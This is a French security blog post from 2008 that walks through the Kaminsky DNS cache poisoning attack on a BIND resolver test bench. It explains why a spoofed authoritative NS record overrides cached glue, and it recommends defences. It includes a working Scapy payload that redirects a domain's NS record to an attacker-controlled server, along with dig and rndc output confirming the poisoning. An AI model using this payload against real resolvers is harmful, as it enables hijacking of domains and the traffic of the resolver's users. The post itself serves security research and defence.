Update (24/07/2009 - 07:48) : HD.Moore et I)ruid me confirment que ma méthode fonctionne, et nettement mieux que leur premier plugin[1] pour Metasploit. Du coup, ils en ont écrit un nouveau qui implémente cette attaque.

Pour résumer un peu. La réponse spoofée victorieuse doit passer un enregistrement de type NS en section Authority vers un nom arbitraire ainsi que son enregistrement A en section Additional. À partir de là, vous allez avoir plusieurs cas.

  • Si votre réponse n'est pas autoritaire, seul l'enregistrement A sera caché, à condition que le nom appartienne au domaine que vous voulez corrompre. C'est l'effet in-bailiwick. Ça, c'est typiquement le premier exploit Metasploit publié hier et pointé par Jipe en commentaire.
  • Si vous positionnez le flag AA, c'est à dire si la réponse est autoritaire, alors vous allez très probablement mettre à jour l'enregistrement NS du domaine dans le cache visé, avec deux légères variantes.
    • Si le nom est complètement arbitraire, seul le NS change. C'est ce que je montre plus bas.
    • Si par contre le nom appartient au domaine corrompu, vous bypassez aussi le in-bailiwick et l'enregistrement A se retrouve également caché.

Globalement, dans les deux derniers cas, vous obtenez la même chose, c'est à dire la main sur le domaine vis-à-vis du cache DNS visé. La différence dans le cache est cosmétique.

Pour ce qui est des protections. D'abord, patchez. C'est le minimum vital. Même si la randomisation du port source ne résoud pas le fond du problème, c'est une mesure qui aide énormément. Ensuite, appliquez les best practices quand à la mise en œuvre de vos serveurs DNS[2] : séparation des fonctions récursives et autoritaires, limitation maximale de l'accès à la fonction récursive, architecture prenant en compte le spoofing, en particulier venant de vos clients, etc. Autant de choses qui vont compliquer la réalisation de l'attaque. De manière plus définitive, on pourrait aussi penser à désactiver l'utilisation du cache, mais je n'ai pas regardé si c'était faisable. C'est cependant un poil violent comme compromis, en particulier en terme de charge pour l'infrastructure...

Vous pouvez également, comme certains le conseillent, vous appuyer sur une infrastructure externe dûment patchée comme OpenDNS, voire des services payants. Pour cela, il vous suffit de configurer votre serveur en "forwarder" vers les serveurs du fournisseur retenu. C'est à mon avis la meilleure solution qui se présente aujourd'hui. Certes, quelqu'un pourra se rendre compte que vous utiliser une telle infrastructure et tenter de lancer son attaque entre vous et elle. C'est pourquoi cela ne dispense absolument pas de patcher ses serveurs !

À noter aussi, le travail de Jose Avila sur l'audit des caches DNS et l'outil qui va avec, lequel supporterait BIND et le DNS Microsoft. Et puis enfin, pour tester les serveurs dont on dépend, en plus de l'outil en ligne fourni par Kaminsky, vous en trouverez un nettement mieux au DNS-OARC.

Pour ce qui est de mon PoC, je vous fais grâce de la confiture. Voici le payload DNS[3] qui permet de faire pointer le NS de victime.com vers ns.malicieux.net dans le cache de Bob[4] :

########################################
#
# Copyright (C) 2008 Cedric Blancher <sid@rstack.org>
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public
# License version 2 as published by the Free Software
# Foundation; version 2.
#
########################################
[...]
payload = DNS(
    id = TXID,
    qr = 1,
    aa = 1,
    qd = QD,
    an = DNSRR(
         rrname = HOST + "." + DOMAIN
         type = "A",
         ttl = 86400,
         rdata = "9.8.7.6"),
    ns = DNSRR(
         rrname = DOMAIN,
         type = "NS",
         ttl = 86400,
         rdata = "ns.malicieux.net"),
    ar = DNSRR(
         rrname = "ns.malicieux.net",
         type = "A",
         ttl = 86400,
         rdata = "9.8.7.6"))

Voilà qui devrait répondre aux questions métaphysiques qui tiraillent Vanhu.


Pour commencer, voyons un peu les différentes étapes des attaques proposées, en particulier celle de Ptacek. Il s'agit d'envoyer une avalanche de requêtes sur le serveur cible, ns.bob.com, pour des noms qui n'existent pas dans le domaine domaine victime.com. Supposons que nous voulions faire résoudre aaaaaa.victime.com à ns.bob.com. Ce serveur va d'abord demander à un serveur racine qui va lui retourner les serveurs en charge du TLD .com. Il va alors reposer la question à l'un d'entre eux, lequel va lui retourner les informations nécessaires à la localisation du serveur DNS en charge du domaine victime.com. Regardons ce que nous retourne un de ces serveurs.

~$ dig @192.35.51.30 aaaaaa.victime.com
[...]
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19516
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1,
;;   ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;aaaaaa.victime.com.           IN      A

;; AUTHORITY SECTION:
victime.com.           172800  IN      NS      ns.victime.com.

;; ADDITIONAL SECTION:
ns.victime.com.        172800  IN      A       1.2.3.4
[...]

À chaque requête, ns.bob.com cache les informations reçues, et en particulier, il va cacher que le serveur en charge de victim.com est ns.victim.com et que son IP est 1.2.3.4. Il va ensuite demander le nom aaaaaa.victim.coim à ce serveur qui va lui répondre qu'il n'existe pas. Cette réponse est également cachée. On peut observer tout ceci sur le serveur BIND, en utilisant l'outil "rndc" qui permet la gestion en live d'un serveur BIND. Nous allons l'utiliser également pour vioder le cache avant toute opération.

~$ sudo rndc -s 127.0.0.1 flush

Ensuite, nous pouvons commencer à interroger le serveur.

~$ dig @127.0.0.1 aaaaaa.victime.com
[...]

Maintenant que c'est fait, allons examiner le contenu du cache.

~$ sudo rndc -s 127.0.0.1 dumpdb -cache
~$ less /var/cache/bind/named_dump.db
;
; Start view _default
;
[...]
; glue
victime.com.            172798  NS      ns.victim.com.
; glue
ns.victime.com.         172798  A       1.2.3.4
; authauthority
aaaaaa.victime.com.     298     \-ANY   ;-$NXDOMAIN
[...]

On voit bien les informations obtenues. En particulier, on constate que les informations d'autorité du domaine victim.com sont précédées du mot "glue" qui signifie qu'elles ont été obtenues de sources non-autoritaires, en l'occurence un serveur racine de .com, en accompagement d'une réponse[5]. C'est à peu de chose près l'état dans lequel va se trouver le cache lorsque nous arriverons à faire passer une réponse spoofée. Supposons qu'elle se produise pour bbbbbb.victime.com.

Que voulons-nous faire ? On pourrait ajouter une entrée pour www.victime.com là-dedans. Ce qui veut dire passer un enregistrement A dans la réponse, à côté de bbbbbb.victime.com. On pourrait le mettre en Additional RR. Notre réponse aura donc un Answer RR donnant une IP arbitraire à bbbbbb.victime.com et un Additional RR pointant www.victime.com sur 9.8.7.6. Malheureusement, je n'arrive pas à faire fonctionner cette technique, l'enregistrement est systématiquement ignoré. Soit en rusant un peu en Answer RR, en spécifiant que bbbbbb.victime.com demandé est un alias de www.victime.com et que ce dernier nom a pour IP 9.8.7.6. Ceci nous fait une réponse avec deux Answer RR, un CNAMe et un A, ce qui est tout à fait valide. Seulement voilà, ça ne marche pas non plus. Le serveur va bien accepter le CNAME, mais va envoyer une requête pour obtenir l'enregistrement A de www.victime.com. Et comme la corruption n'est pas encore faite, ça tombe à l'eau.

Maintenant, on pourrait vouloir faire quelque chose de plus puissant, à savoir rediriger le serveur DNS en charge du domaine, comme le suggère finalement Kaminsky. Pour avoir une idée des leviers dont nous disposons, regardons de plus près une requête valide sur www.victime.com.

~$ dig @ns.victime.com www.victime.com
[...]
;; QUESTION SECTION:
;www.victime.com.               IN      A

;; ANSWER SECTION:
www.victime.com.        10800   IN      A       1.2.3.4

;; AUTHORITY SECTION:
victime.com.            10800   IN      NS      ns.victime.com.

;; ADDITIONAL SECTION:
ns.victime.com.        172800   IN      A       1.2.3.4
[...]

On peut donc agir soit sur l'enregistrement A placé en Additional RR, soit sur le NS placé en Authority RR. La première solution ne marchera pas, comme précédemment. Par contre, pour la seconde, ça fonctionne. C'est à dire que si vous générez une réponse qui fera pointer le champ NS de la section autoritaire vers par exemple ns.malicieux.net, vous allez mettre à jour le cache. Si nous forgeons ainsi la réponse à bbbbbb.victime.com, nous allons recevoir la réponse suivante :

~$ dig @127.0.0.1 bbbbbb.victime.com
[...]
;; QUESTION SECTION:
;bbbbbb.victime.com.            IN      A

;; ANSWER SECTION:
bbbbbbbb.victime.com.   86400   IN      A	9.8.7.6

;; AUTHORITY SECTION:
victime.com.            86400   IN      NS      ns.malicieux.net.

Très encourageant. Et si nous regardons le résultat dans le cache, c'est confirmé.

~$ sudo rndc -s 127.0.0.1 dumpdb -cache
~$ less /var/cache/bind/named_dump.db
;
; Start view _default
;
[...]
; authauthority
victime.com.            86218   NS      ns.malicieux.net.
; glue
ns.victime.com.         171137  A       1.2.3.4
; authanswer
aaaaaa.victime.com.     298     \-ANY   ;-$NXDOMAIN
[...]
; authanswer
bbbbbb.victime.com.     86218   A       9.8.7.6

Nous voyons que même si l'enregistrement correspondant à ns.victime.com pointe toujours sur la bonne IP, ce n'est plus lui qui est référencé comme serveur DNS en charge du domaine victime.com. C'est ns.malicieux.net. En plus, cette information n'est plus en "glue", mais en "authauthority". Et c'est là que se situe le truc. Si on lit la RFC 2181, section 5.4.1, on peut voir qu'une hiérarchie de confiance existe quant aux données qu'un serveur peut récupérer à travers les requêtes DNS qu'il émet en fonction de leur provenance. Et surtout qu'il existe la possibilité d'écraser des données par d'autres, de confiance plus forte.

5.4.1. Ranking data

  When considering whether to accept an RRSet in a reply, or
  retain an RRSet already in its cache instead, a server
  should consider the relative likely trustworthiness of the
  various data. An authoritative answer from a reply should
  replace cached data that had been obtained from additional
  information in an earlier reply. However additional
  information from a reply will be ignored if the cache
  contains data from an authoritative answer or a zone file.

  The accuracy of data available is assumed from its source.
  Trustworthiness shall be, in order from most to least:

    + Data from a primary zone file, other than glue data,
    + Data from a zone transfer, other than glue,
    + The authoritative data included in the answer section
      of an authoritative reply.
    + Data from the authority section of an authoritative
      answer,
    + Glue from a primary zone, or glue from a zone transfer,
    + Data from the answer section of a non-authoritative
      answer, and non-authoritative data from the answer
      section of authoritative answers,
    + Additional information from an authoritative answer,
      Data from the authority section of a non-authoritative
      answer, Additional information from non-authoritative
      answers.

Dans notre cas, le premier enregistrement NS pour victime.com caché par ns.bob.com venait d'un serveur en charge de .com. Cette réponse n'était pas autoritaire. On se trouve donc face à des données décrites par le septième point[6]. Avec notre réponse, nous fournissons nos données en spoofant le serveur autoritaire sur la zone, ns.victime.com. Nous sommes donc dans le quatrième cas[7], et nos données sont considérées comme de confiance par rapport aux anciennes, entraînant la mise à jour du cache. Emballez, c'est pesé.

Vérifions un coup :

~$ dig @127.0.0.1 -t NS victime.com
[...]
;; QUESTION SECTION:
;victime.com.                  IN      NS

;; ANSWER SECTION:
victime.com.         85921     IN      NS     ns.malicieux.net.

Tadaaaaa ! \o/


Si je dis que c'est peut-être la solution, c'est parce que j'ai pu me tromper. Soit en implémentant les attaques de Flake et Ptacek, soit dans la configuration de mon banc de test, ou encore quelque obscur effet démo qui ruinerait tout. Ceci est donc à prendre avec des pincettes, même si je n'ai pas l'impression d'avoir fait une monumentale bourde quelque part là-dedans. Je vous laisse juger, et essayer surtout. Parce qu'il ne faut pas croire tout ce qu'on lit sur Internet ;)

Et un grand merci à Phil pour m'avoir aider à faire marcher mon spoofer, Scapy based, bien évidemment :) Et puis Halvar Flake et Thomas Ptacek pour la voie qu'ils ont tracée. Presque jusqu'au bout...

Notes

[1] Il ne leur manquait pas grand chose, comme vous pourrez le voir si vous diffez les deux plugins.

[2] Vous ne l'avez pas déjà fait depuis le temps ?!...

[3] Maintenant que c'est dans Metasploit, qui a encore besoin de lire du code ? <cc>

[4] So long pour le Pago et le mars :)

[5] Ici la réponse à la requête sur aaaaaa.victime.com.

[6] Data from the authority section of a non-authoritative answer.

[7] Data from the authority section of an authoritative answer.